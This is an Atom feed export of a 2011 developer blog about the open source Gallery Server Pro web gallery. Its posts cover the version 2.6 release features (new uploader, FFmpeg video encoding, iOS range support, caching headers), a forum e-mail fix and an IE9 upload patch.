<?xml version='1.0' encoding='UTF-8'?><?xml-stylesheet href="http://www.blogger.com/styles/atom.css" type="text/css"?><feed xmlns='http://www.w3.org/2005/Atom' xmlns:openSearch='http://a9.com/-/spec/opensearchrss/1.0/' xmlns:georss='http://www.georss.org/georss' xmlns:gd='http://schemas.google.com/g/2005' xmlns:thr='http://purl.org/syndication/thread/1.0'><id>tag:blogger.com,1999:blog-4541792071038273470</id><updated>2012-01-22T10:59:05.016-06:00</updated><title type='text'>Roger Martin's Gallery Server Pro Blog</title><subtitle type='html'>News and information about Gallery Server Pro, an open source .NET web application for sharing photos, video, audio, and documents.</subtitle><link rel='http://schemas.google.com/g/2005#feed' type='application/atom+xml' href='http://galleryserverpro.blogspot.com/feeds/posts/default'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4541792071038273470/posts/default?max-results=100'/><link rel='alternate' type='text/html' href='http://galleryserverpro.blogspot.com/'/><link rel='hub' href='http://pubsubhubbub.appspot.com/'/><author><name>Roger Martin</name><uri>http://www.blogger.com/profile/11987442537480095724</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><generator version='7.00' uri='http://www.blogger.com'>Blogger</generator><openSearch:totalResults>74</openSearch:totalResults><openSearch:startIndex>1</openSearch:startIndex><openSearch:itemsPerPage>100</openSearch:itemsPerPage><entry><id>tag:blogger.com,1999:blog-4541792071038273470.post-6717808982404508117</id><published>2011-12-12T08:58:00.001-06:00</published><updated>2011-12-12T08:59:24.325-06:00</updated><title type='text'>Slow e-mail on forum fixed</title><content type='html'>&lt;p&gt;For the last couple of months, e-mails sent from the forum have taken many hours to arrive. This was particularly frustrating to new users who want to ask a question and have to wait until the next day for their verification e-mail to arrive, but it also delayed my ability to get notified that a new post needed attention.&lt;/p&gt;  &lt;p&gt;Last week I was able to dig into this. Initially I suspected the web hosting company had an overloaded e-mail server, so I submitted a help desk ticket with them. They couldn’t find any issues on their end, so I started looking at the source code of the open source forum software &lt;a href="http://yetanotherforum.net/"&gt;YetAnotherForum.NET&lt;/a&gt;. Eventually I tracked down an issue with their code, which I was able to work around by clearing out one of the database tables that held e-mails waiting to get sent. I submitted an issue with their &lt;a href="http://tracker.yetanotherforum.net/Issues/IssueDetail.aspx?id=179"&gt;bug tracker&lt;/a&gt;, so hopefully they’ll be able to resolve it.&lt;/p&gt;  &lt;p&gt;E-mails seem to be instantaneous again, so I think we are back in business. I offer my apologies for any inconvenience this has caused.&lt;/p&gt;  &lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4541792071038273470-6717808982404508117?l=galleryserverpro.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://galleryserverpro.blogspot.com/feeds/6717808982404508117/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=4541792071038273470&amp;postID=6717808982404508117' title='3 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4541792071038273470/posts/default/6717808982404508117'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4541792071038273470/posts/default/6717808982404508117'/><link rel='alternate' type='text/html' href='http://galleryserverpro.blogspot.com/2011/12/slow-e-mail-on-forum-fixed.html' title='Slow e-mail on forum fixed'/><author><name>Roger Martin</name><uri>http://www.blogger.com/profile/11987442537480095724</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>3</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4541792071038273470.post-6004532141366087529</id><published>2011-11-09T13:31:00.001-06:00</published><updated>2011-11-09T13:31:01.886-06:00</updated><title type='text'>WPI version of Gallery Server Pro 2.6.0 released</title><content type='html'>&lt;p&gt;Microsoft has completed their testing of 2.6.0 and published the new version to their web application gallery. A link to install it is on the &lt;a href="http://www.galleryserverpro.com/download.aspx"&gt;download page&lt;/a&gt;.&lt;/p&gt;  &lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4541792071038273470-6004532141366087529?l=galleryserverpro.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://galleryserverpro.blogspot.com/feeds/6004532141366087529/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=4541792071038273470&amp;postID=6004532141366087529' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4541792071038273470/posts/default/6004532141366087529'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4541792071038273470/posts/default/6004532141366087529'/><link rel='alternate' type='text/html' href='http://galleryserverpro.blogspot.com/2011/11/wpi-version-of-gallery-server-pro-260.html' title='WPI version of Gallery Server Pro 2.6.0 released'/><author><name>Roger Martin</name><uri>http://www.blogger.com/profile/11987442537480095724</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4541792071038273470.post-4852933700496612540</id><published>2011-10-31T17:50:00.001-05:00</published><updated>2011-11-04T13:32:18.669-05:00</updated><title type='text'>Version 2.6 released</title><content type='html'>&lt;p&gt;Gallery Server Pro 2.6 is &lt;a href="http://www.galleryserverpro.com/download.aspx"&gt;now available&lt;/a&gt;. It sports a brand new file upload widget, the ability to encode video and audio files, and much improved SQL CE performance. Full details about this release are posted on the &lt;a title="Gallery Server Pro release history" href="http://www.galleryserverpro.com/releasehistory.aspx"&gt;release history page&lt;/a&gt;.&lt;/p&gt;  &lt;p&gt;To upgrade an existing version, just copy the files from the upgrade package over the ones in your existing web directory. If you are upgrading from 2.3 or from .NET 3.5 or earlier, there are a few extra steps – full details are in the &lt;a href="http://www.galleryserverpro.com/download.aspx"&gt;Admin Guide&lt;/a&gt;. If you are using the DotNetNuke module, just follow the standard module install steps.&lt;/p&gt;  &lt;p&gt;I covered the new features in my &lt;a href="http://www.galleryserverpro.com/blog.aspx?title=Gallery-Server-Pro-2.5-Released&amp;amp;id=8031288049768767651"&gt;previous blog post&lt;/a&gt;, so here I’ll just cover what is missing from that post.&lt;/p&gt;  &lt;p&gt;&lt;strong&gt;New file upload experience&lt;/strong&gt;&lt;/p&gt;  &lt;p&gt;The ComponentArt Upload control has been replaced with &lt;a title="Plupload file upload" href="http://plupload.com/"&gt;Plupload&lt;/a&gt;. There are several benefits:&lt;/p&gt;  &lt;ul&gt;   &lt;li&gt;HTML 5 drag and drop support &lt;/li&gt;    &lt;li&gt;Ability to create a compressed version of images before uploading them&lt;/li&gt;    &lt;li&gt;Takes advantage of advanced browser features while gracefully degrading when necessary &lt;/li&gt;    &lt;li&gt;Progress feedback in medium trust scenarios &lt;/li&gt;    &lt;li&gt;Multiple file selection &lt;/li&gt; &lt;/ul&gt;  &lt;p&gt;When the add objects page loads, the upload control detects your browser’s capabilities and chooses the most appropriate runtime, based in this order of preference: HTML5, Silverlight, Flash, BrowserPlus, and HTML4. The runtime is shown in a tooltip when you hover over the upload area, as seen in the screen shot below.&lt;/p&gt;  &lt;p&gt;The exact features available depend on your browser’s capabilities, including whether it has Flash or Silverlight installed. For example, drag and drop works only in Chrome and Firefox. Client side image resizing requires Flash or Silverlight to work in IE.&lt;/p&gt;  &lt;p&gt;&lt;strong&gt;Client side image resizing&lt;/strong&gt;&lt;/p&gt;  &lt;p&gt;To request that images be resized on the client before being uploaded, select the ‘Discard original file’ option below the file selection window, as seen here:&lt;/p&gt;  &lt;p&gt;&lt;img style="background-image: none; border-right-width: 0px; padding-left: 0px; padding-right: 0px; display: inline; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px; padding-top: 0px" title="addobjects" border="0" alt="addobjects" src="http://lh5.ggpht.com/--W28elkdKFU/Tq8mLCV1J2I/AAAAAAAAATg/5pM82VYRkQI/addobjects%25255B4%25255D.png?imgmax=800" width="679" height="606" /&gt;&lt;/p&gt;  &lt;p&gt;When that option is selected and the browser supports client-side resizing, a compressed copy of each image is created in the browser and then uploaded to the server. This can dramatically reduce the length of time it requires to upload files. If the browser can’t create a compressed file, the original is uploaded and the server takes care of creating the compressed version and discarding the original file, just like how it worked in previous versions of Gallery Server Pro.&lt;/p&gt;  &lt;p&gt;In most cases, the image’s metadata is copied to the compressed version so that it can be extracted on the server. However, there is one unfortunate exception. The Silverlight implementation, which is often used in Internet Explorer, fails to copy the image’s metadata to the compressed file, resulting in the metadata being lost. There are two workarounds:&lt;/p&gt;  &lt;p&gt;1. Do not select the ‘Discard original file’ option when uploading files. Instead, delete the original files after they have been uploaded with the ‘Delete original files’ option in the Actions menu.&lt;/p&gt;  &lt;p&gt;2. Modify the file upload’s control definition so that it never uses the Silverlight implementation, or at least prefers the Flash one to the Silverlight one. Do this by opening the file gs\pages\task\addobjects.ascx in a text editor and looking for this line:&lt;/p&gt;  &lt;p&gt;runtimes: 'html5,silverlight,flash,browserplus,html4',&lt;/p&gt;  &lt;p&gt;Either delete Silverlight from the list or rearrange it to be after Flash. However, in my experience the Flash runtime is not as robust as the Silverlight one, so that is why I choose to prefer Silverlight.&lt;/p&gt;  &lt;p&gt;&lt;strong&gt;Video / audio encoding&lt;/strong&gt;&lt;/p&gt;  &lt;p&gt;Version 2.6 adds support for encoding video and audio files to other formats after uploading. For example, you can upload an AVI file and have it automatically converted to a Flash Video file (FLV). The original AVI file is still available by clicking the view original button, much like original images are always a click away, even though web-friendly ones are shown by default.&lt;/p&gt;  &lt;p&gt;The encoding is done by &lt;a href="http://ffmpeg.org/"&gt;FFmpeg&lt;/a&gt;, a popular open source utility that Gallery Server Pro was already using to generate thumbnail images from videos. FFmpeg is included in the &lt;a href="http://www.galleryserverpro.com/download.aspx"&gt;Gallery Server Pro Binary Pack&lt;/a&gt;. Note that your gallery must be running at full trust in order to execute FFmpeg.&lt;/p&gt;  &lt;p&gt;You have complete control over which files are converted, to what they are converted, and how it is done. Here are the default encoder settings you’ll see when you look at the Video &amp;amp; Audio page in the site admin area:&lt;/p&gt;  &lt;p&gt;&amp;#160;&lt;img style="background-image: none; border-right-width: 0px; padding-left: 0px; padding-right: 0px; display: inline; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px; padding-top: 0px" title="encodersettings" border="0" alt="encodersettings" src="http://lh3.ggpht.com/-V7_-3zz0oyE/Tq8mLd0SCqI/AAAAAAAAATo/tppeH17ZUGo/encodersettings%25255B9%25255D.png?imgmax=800" width="654" height="335" /&gt;&lt;/p&gt;  &lt;p&gt;These settings are interpreted as:&lt;/p&gt;  &lt;ul&gt;   &lt;li&gt;Do not encode MP3, MP4, FLV, or M4A files. &lt;/li&gt;    &lt;li&gt;Try to convert all video to FLV. If that fails, try converting it to MP4. &lt;/li&gt;    &lt;li&gt;Convert all audio to M4A. &lt;/li&gt; &lt;/ul&gt;  &lt;p&gt;Feel free to adjust these as needed. I experimented with several variations and settled on this as the best compromise. Originally, I preferred converting to MP4 H.264 first, using FLV only when that failed. But, while MP4 files have several advantages, such as being a (fairly) open standard, small files sizes, and the ability to play without a plug-in in some browsers, it has one big limitation: The MP4 files created by FFmpeg must be fully downloaded by the browser before they begin playing, so you might have to wait a while before your video starts. This is a limitation of FFmpeg, not MP4 H.264, so I am hopeful that a future version resolves this. For now, Gallery Server Pro will default to converting video to Flash Video.&lt;/p&gt;  &lt;p&gt;&lt;strong&gt;Viewing the encoding progress&lt;/strong&gt;&lt;/p&gt;  &lt;p&gt;An encoding’s progress is monitored as it processes each file. You can see the latest information about an encoding by refreshing the web page and then clicking the Expand link in the encoding queue.&lt;/p&gt;  &lt;p&gt;&lt;strong&gt;Adjusting the encoding timeout&lt;/strong&gt;&lt;/p&gt;  &lt;p&gt;During QA testing, I noticed that certain video files would hang, continuing to use processor resources but not making any progress. Worse, when this happened, the encoding process didn’t respond to requests to cancel it, unless you used Task Manager to kill it. This is a potentially nasty situation because encoding uses a lot of server resources, and you don’t want it running for hours hammering away on your server’s processor. Your hosting company could get quite upset.&lt;/p&gt;  &lt;p&gt;The solution I came up with was to set a timeout when kicking off the encoding process. The timeout default to 15 minutes (900,000 milliseconds) and can be set in the site admin area as seen in the screen shot above. If the encoder is still running when the timeout fires, it is automatically cancelled.&lt;/p&gt;  &lt;p&gt;You may need to increase this timeout if converting large files. Whenever a timeout is hit that causes an encoding to be abandoned, an entry will be written to the error log.&lt;/p&gt;  &lt;p&gt;&lt;strong&gt;Rebuilding encoded files&lt;/strong&gt;&lt;/p&gt;  &lt;p&gt;Gallery Server Pro treats the encoded video and audio files just like it does the optimized images that are created for image files. The encoded versions are shown by default when you view the media object, but the original is available by clicking the ‘View original’ button in the toolbar.&lt;/p&gt;  &lt;p&gt;To build encoded versions of your media objects after you upgrade to 2.6 or anytime you change an encoder setting, run a synchronization with the ‘Rebuild optimized versions’ option selected. The existing encoded version will be replaced by a freshly created one.&lt;/p&gt;  &lt;p&gt;&lt;strong&gt;iOS support&lt;/strong&gt;&lt;/p&gt;  &lt;p&gt;The old handler that served media files didn’t support HTTP range requests, which is a technique some browsers use to request a portion of a media file. iOS devices require this support, so for version 2.6, the handler was rewritten to support these types of requests. Now any iOS supported file can be played in your device from the gallery. I believe the current supported file types are MP4, MP3, M4V, MOV, and M4A.&lt;/p&gt;  &lt;p&gt;If you have media files in your gallery that are not supported in iOS, you can tweak the encoder settings to create an iOS-compatible version. One easy way to do this is to reposition the MP4 encoder setting to come before the FLV setting in the encoder settings section. Just remember the one big flaw with MP4 files – they must be fully downloaded in the browser before they begin playing.&lt;/p&gt;  &lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4541792071038273470-4852933700496612540?l=galleryserverpro.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://galleryserverpro.blogspot.com/feeds/4852933700496612540/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=4541792071038273470&amp;postID=4852933700496612540' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4541792071038273470/posts/default/4852933700496612540'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4541792071038273470/posts/default/4852933700496612540'/><link rel='alternate' type='text/html' href='http://galleryserverpro.blogspot.com/2011/10/version-26-released.html' title='Version 2.6 released'/><author><name>Roger Martin</name><uri>http://www.blogger.com/profile/11987442537480095724</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://lh5.ggpht.com/--W28elkdKFU/Tq8mLCV1J2I/AAAAAAAAATg/5pM82VYRkQI/s72-c/addobjects%25255B4%25255D.png?imgmax=800' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4541792071038273470.post-1855609546633016781</id><published>2011-10-10T17:22:00.001-05:00</published><updated>2011-10-10T20:35:07.335-05:00</updated><title type='text'>Version 2.6 is faster and brings new uploader, iOS support, video/audio encoding, and more</title><content type='html'>&lt;p&gt;You know, I wasn’t planning to release a version 2.6. Right after 2.5 was released a few months ago, I started cranking away on version 3, which is a significant release that adds all the top features you voted for in the &lt;a href="http://forum.galleryserverpro.com/yaf_postst1517_Vote-for-the-features-you-want-to-see-in-GSP.aspx"&gt;poll&lt;/a&gt;. It was coming along great when something happened.&lt;/p&gt;  &lt;p&gt;A fan of GSP came along and was willing to pay good money if I immediately added two features: (1) on-the-fly encoding of AVI videos to the web-friendly MP4 format, and (2) the ability to select multiple files in one step on the add objects page. So I added those features to the 2.5 codebase and gave it to the client as a custom build. These are features many of you would find useful, so I will soon be releasing version 2.6 to bring them – and a few bonus features - to you. Here is the complete list:&lt;/p&gt;  &lt;ul&gt;   &lt;li&gt;15X faster SQL CE performance &lt;/li&gt;    &lt;li&gt;New file upload experience &lt;/li&gt;    &lt;li&gt;Client-side image resizing &lt;/li&gt;    &lt;li&gt;iOS support &lt;/li&gt;    &lt;li&gt;Improved browser caching &lt;/li&gt;    &lt;li&gt;Video and audio encoding &lt;/li&gt; &lt;/ul&gt;  &lt;p&gt;The release is at least three weeks away, but hopefully not more than a couple months. I am putting the finishing touches on it now and will get it to you as soon as I can.&lt;/p&gt;  &lt;p&gt;&lt;strong&gt;15X faster SQL CE performance&lt;/strong&gt;&lt;/p&gt;  &lt;p&gt;Version 2.5 added SQL CE as a data storage option while retiring SQLite. There were many benefits to SQL CE over SQLite, such as medium trust support, 32/64-bit support in a single package, and strong data typing and referential integrity. But, as many of you noticed, it was slower. One test I did showed that it took about eight seconds to load an album with 250 media objects, while SQL Server could do it in about 0.1 seconds. Although subsequent loads of the same album were almost instantaneous due to caching in the application, first impressions are important, and an eight-second page load is clearly unacceptable.&lt;/p&gt;  &lt;p&gt;After profiling the application and database, I found that most of the page load time was spent retrieving the metadata for each media object, one SQL statement at a time. For example, a page with 250 media objects would make 251 calls to the database (one request to the media objects table and 250 to the metadata table). SQL Server does the same thing, but since it does it with a stored procedure whose SQL is compiled and cached, it is very fast. The SQL CE implementation uses Entity Framework 4.1 Code First, which does not cache the query plan (although I hear that is coming).&lt;/p&gt;  &lt;p&gt;The solution was to modify the query logic to return the media objects and the metadata in a single SQL call. Instead of 251 trips to the database, it is now one. This change reduced the load time from eight seconds to 0.5 seconds, a 15x improvement. While that is much better, it is *still* about five times slower than SQL Server. For most users, though, it is quite acceptable. If you want the fastest performance and don’t mind the additional responsibilities that come with installing and managing SQL Server, than use SQL Server (even SQL Server Express, which is free, is faster than SQL CE). The rest of you can enjoy 15x faster SQL CE performance.&lt;/p&gt;  &lt;p&gt;&lt;strong&gt;New file upload experience&lt;/strong&gt;&lt;/p&gt;  &lt;p&gt;Providing a great file upload experience has been challenging for web developers since the dawn of time. The first version of GSP used a nice open source component called &lt;a href="http://neatupload.codeplex.com/"&gt;NeatUpload&lt;/a&gt;. When ComponentArt added an upload component to its suite of controls in 2008, I moved to that one. Both, however, have annoying limitations: (1) You can choose only one file at a time (not exactly true with NeatUpload, but it required a Flash dependency), (2) They require the app to run in full trust.&lt;/p&gt;  &lt;p&gt;When I was asked to support multi-file selection for a client, I knew I had to replace the ComponentArt control with something else. Like manna from heaven, I found a wonderful open source component called &lt;a href="http://plupload.com/"&gt;Plupload&lt;/a&gt;, which offers a dream list of features: HTML5 support (like drag and drop!), graceful degradation, support for medium trust, multi-file selection, and more. For example, here is what the add objects page looks like after I drag four image files from Window Explorer onto the page:&lt;/p&gt;  &lt;p&gt;&lt;img style="background-image: none; border-right-width: 0px; padding-left: 0px; padding-right: 0px; display: inline; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px; padding-top: 0px" title="new_file_upload" border="0" alt="new_file_upload" src="http://lh6.ggpht.com/-XIFiChfTNak/TpNwIFiq-FI/AAAAAAAAATM/usoUGIVf3aM/new_file_upload%25255B4%25255D.png?imgmax=800" width="693" height="636" /&gt;&lt;/p&gt;  &lt;p&gt;While uploading the files, the vast majority of users will see a nice progress bar indicating the status of the upload, even when the app is running in medium trust. The only ones who won’t are those running an old browser without Flash, Silverlight, Google Gears, or &lt;a title="BrowserPlus home page" href="http://browserplus.yahoo.com/"&gt;BrowserPlus&lt;/a&gt;. Not even your grandmother should fit into that category.&lt;/p&gt;  &lt;p&gt;&lt;img style="background-image: none; border-right-width: 0px; padding-left: 0px; padding-right: 0px; display: inline; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px; padding-top: 0px" title="new_file_upload_in_progress" border="0" alt="new_file_upload_in_progress" src="http://lh6.ggpht.com/-qasSelXJLhU/TpNwIkfI76I/AAAAAAAAATQ/HWdhE8ZG800/new_file_upload_in_progress%25255B4%25255D.png?imgmax=800" width="693" height="636" /&gt;&lt;/p&gt;  &lt;p&gt;The real beauty of this upload control is that it takes advantage of advanced browser capabilities while gracefully degrading when necessary. So, enjoy drag and drop if you’re using Chrome or Firefox, but IE6 users can still upload files using a file selection dialog.&lt;/p&gt;  &lt;p&gt;&lt;strong&gt;Client-side image resizing&lt;/strong&gt;&lt;/p&gt;  &lt;p&gt;I saved my favorite Plupload feature for its own section - client-side image resizing. Rather than waiting for a hundred 5 MB digital camera photos to crawl their way to the server, you can let the browser create smaller, web-friendly versions for you, resulting in images that upload in a fraction of the time. Now you’re done in seconds instead of minutes (or even hours).&lt;/p&gt;  &lt;p&gt;I’ve been wanting to add this feature for a while now, and even went so far as to ask a friend of mine earlier this year to build a prototype using Silverlight and &lt;a title="fjcore - A dependency-free imaging library for C#" href="http://code.google.com/p/fjcore/"&gt;fjcore&lt;/a&gt;. But now we get this feature for free, and without any dependencies on plug-ins. Sweet!&lt;/p&gt;  &lt;p&gt;The one downside - this feature requires Firefox or Chrome. But as more browsers become HTML5 compliant, expect support to grow.&lt;/p&gt;  &lt;p&gt;&lt;strong&gt;iOS support&lt;/strong&gt;&lt;/p&gt;  &lt;p&gt;The current version of GSP won’t play video or audio on iOS devices (iPhone, iPod, iPad), even when specifying a supported file type like MP4 and using the HTML 5 video and audio tags. This was because iOS requires HTTP range support, and GSP’s HTTP handler didn’t support that. For 2.6, the handler has been re-written from the ground up to support HTTP range requests.&lt;/p&gt;  &lt;p&gt;GSP 2.6 will support any media file in iOS that is natively supported. Currently, that means MP4, MP3, M4V, quicktime, and M4A.&lt;/p&gt;  &lt;p&gt;&lt;strong&gt;Improved browser caching&lt;/strong&gt;&lt;/p&gt;  &lt;p&gt;Rewriting the HTTP handler provided an opportunity to take another look at how media files are cached in the browser. The 2.5 handler sends HTTP header values to the browser that instruct it to cache the images for thirty days. But in my experience some browsers seem to ignore this advice and request the images from the server anyway, except for after an image rotation, in which case the browser stubbornly likes to show the original, unrotated image, even after the user hits the refresh button or F5. I say that slightly tongue in cheek, but the basic idea is that there was an opportunity to improve the caching.&lt;/p&gt;  &lt;p&gt;Here is an example set of response headers for an image in 2.4.8:&lt;/p&gt;  &lt;p&gt;&lt;img style="background-image: none; border-right-width: 0px; padding-left: 0px; padding-right: 0px; display: inline; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px; padding-top: 0px" title="response_headers_248" border="0" alt="response_headers_248" src="http://lh3.ggpht.com/-_quVzEmrq-k/TpNwI5SQgmI/AAAAAAAAATU/5a0DrSPVVD0/response_headers_248%25255B4%25255D.png?imgmax=800" width="378" height="142" /&gt;&lt;/p&gt;  &lt;p&gt;The same image in 2.6:&lt;/p&gt;  &lt;p&gt;&lt;img style="background-image: none; border-right-width: 0px; padding-left: 0px; padding-right: 0px; display: inline; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px; padding-top: 0px" title="response_headers_260" border="0" alt="response_headers_260" src="http://lh6.ggpht.com/-VmlNLC-Xx9Q/TpNwJLoSyQI/AAAAAAAAATY/NkUBLtpyFRU/response_headers_260%25255B4%25255D.png?imgmax=800" width="472" height="183" /&gt;&lt;/p&gt;  &lt;p&gt;In 2.6, we got rid of the Expires setting and instead use Last-Modified and the Etag. By doing this, the browser will automatically be notified of rotated images and other changes to the media file. Even this isn’t perfect, though, as some browsers don’t check with the server when a user very recently loaded an image. But even in this case a click of the refresh button will force the browser to send the Last-Modified header, which will then cause the updated image to load.&lt;/p&gt;  &lt;p&gt;Another change is that the file name is sent in the Content-Disposition tag. This is nice when you right-click an image to save to your hard drive. The value here will be used for the default filename, which is an improvement over getmediaobject.ashx, which is the default filename users saw in 2.5 and earlier versions.&lt;/p&gt;  &lt;p&gt;&lt;strong&gt;Video/audio encoding&lt;/strong&gt;&lt;/p&gt;  &lt;p&gt;Version 2.6 adds support for encoding video and audio files to other formats after uploading. For example, you can upload an AVI file and have it automatically converted to an HTML5-friendly MP4 video. The original AVI file is still available by clicking the view original button, much like original images are always a click away, even though web-friendly ones are shown by default.&lt;/p&gt;  &lt;p&gt;The encoding is done by &lt;a title="FFmpeg" href="http://ffmpeg.org/"&gt;FFmpeg&lt;/a&gt;, a popular open source utility that Gallery Server Pro already uses to generate thumbnail images from videos. FFmpeg is included in the &lt;a title="Download Gallery Server Pro Binary Pack" href="http://www.galleryserverpro.com/download.aspx"&gt;Gallery Server Pro Binary Pack&lt;/a&gt;. Note that your gallery must be running at full trust in order to execute FFmpeg.&lt;/p&gt;  &lt;p&gt;You have complete control over which files are converted, to what they are converted, and how it is done. For example, look at the Encoder Settings section in this screen shot:&lt;/p&gt;  &lt;p&gt;&lt;img style="background-image: none; border-right-width: 0px; padding-left: 0px; padding-right: 0px; display: inline; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px; padding-top: 0px" title="encoding" border="0" alt="encoding" src="http://lh4.ggpht.com/-dHf4vGki0v4/TpNwJ0Ad4TI/AAAAAAAAATc/iyjE7e2Aer0/encoding%25255B4%25255D.png?imgmax=800" width="704" height="685" /&gt;&lt;/p&gt;  &lt;p&gt;The order of the encoder settings is important – the first one that matches is the one that is used. If it fails for any reason, the next matching one will be used. So, the screen shot shows that the preferred conversion for AVI files is to convert them to MP4 using these command line arguments for FFmpeg:&lt;/p&gt;  &lt;p&gt;-i &amp;quot;{SourceFilePath}&amp;quot; -y -vcodec libx264 -fpre &amp;quot;{BinPath}libx264-galleryserver.ffpreset&amp;quot; &amp;quot;{DestinationFilePath}&lt;/p&gt;  &lt;p&gt;It basically says to apply H.264 encoding using the options in a file named libx264-galleryserver.ffpreset in the bin directory. The text in brackets {} are parameters that are replaced at runtime. You can use any &lt;a title="FFmpeg documentation" href="http://ffmpeg.org/ffmpeg.html"&gt;FFmpeg option&lt;/a&gt; to give yourself complete control. I have not yet decided on the exact encoding settings and parameters to use as default values – the ones that ship will likely look different than what you see here.&lt;/p&gt;  &lt;p&gt;Continuing with our example, if the AVI to MP4 conversion fails for any reason, the next matching rule instructs the encoder to try converting to FLV. In my experience, this conversion often succeeds when the MP4 conversion fails, so this is a good fallback setting. The “all video” and “all audio” rules are buckets that match on all files with a video or audio MIME type.&lt;/p&gt;  &lt;p&gt;The screen shot also shows the encoder queue, which is a list of media files that are waiting to be processed, are being processed, or are completed. Encoding can take a while, so this will be useful to see how things are going and to investigate any encoding errors that occur. The text returned by FFmpeg is shown in the Result column, and it contains all the conversion details – and errors – related to the process. You can also delete completed items or cancel pending ones.&lt;/p&gt;  &lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4541792071038273470-1855609546633016781?l=galleryserverpro.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://galleryserverpro.blogspot.com/feeds/1855609546633016781/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=4541792071038273470&amp;postID=1855609546633016781' title='4 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4541792071038273470/posts/default/1855609546633016781'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4541792071038273470/posts/default/1855609546633016781'/><link rel='alternate' type='text/html' href='http://galleryserverpro.blogspot.com/2011/10/version-26-is-faster-and-brings-new.html' title='Version 2.6 is faster and brings new uploader, iOS support, video/audio encoding, and more'/><author><name>Roger Martin</name><uri>http://www.blogger.com/profile/11987442537480095724</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://lh6.ggpht.com/-XIFiChfTNak/TpNwIFiq-FI/AAAAAAAAATM/usoUGIVf3aM/s72-c/new_file_upload%25255B4%25255D.png?imgmax=800' height='72' width='72'/><thr:total>4</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4541792071038273470.post-6403325878328046693</id><published>2011-08-01T21:10:00.001-05:00</published><updated>2011-08-01T21:15:27.960-05:00</updated><title type='text'>Patch updated for DotNetNuke 6 bug</title><content type='html'>&lt;p&gt;DotNetNuke 6.0.0, released a couple weeks ago, contains significant UI updates and new features. Gallery Server Pro is fully compatible with this release except for one issue I fixed today. Clicking the Browse button on the Add objects page doesn’t show the file open dialog box. Instead, nothing happens. This occurs only for IE9 users in standards mode; in compatibility mode – and for other browsers – it works fine.&lt;/p&gt;  &lt;p&gt;I had to dig into the ComponentArt source code to fix the javascript for the Upload control. ComponentArt had some IE-specific code for calculating the position of elements on the screen. IE9 changes how they are calculated, resulting in a broken browse button. The fix was easy enough – just an extra condition in one of the functions to alter behavior based on whether IE is in compatibility or standards mode.&lt;/p&gt;  &lt;p&gt;I updated the &lt;a href="http://www.galleryserverpro.com/blog.aspx?title=Patch-For-2.5.0-Released&amp;amp;id=7496505908447239590"&gt;patch&lt;/a&gt; to include the fixed ComponentArt.Web.UI.dll. Just copy it into your bin directory. Although my tests indicate the issue is only with the DotNetNuke version of Gallery Server Pro, you may find you need it for the stand-alone or WPI version if you have GSP integrated into an existing application. How can you tell if you need it? Well, try to upload a file with IE9. If it works, you don’t need it. &lt;img style="border-bottom-style: none; border-left-style: none; border-top-style: none; border-right-style: none" class="wlEmoticon wlEmoticon-smile" alt="Smile" src="http://lh3.ggpht.com/-GN5m-PiprqE/TjddvzLAzLI/AAAAAAAAATI/we-iX80Fn_8/wlEmoticon-smile%25255B2%25255D.png?imgmax=800" /&gt;&lt;/p&gt;  &lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' 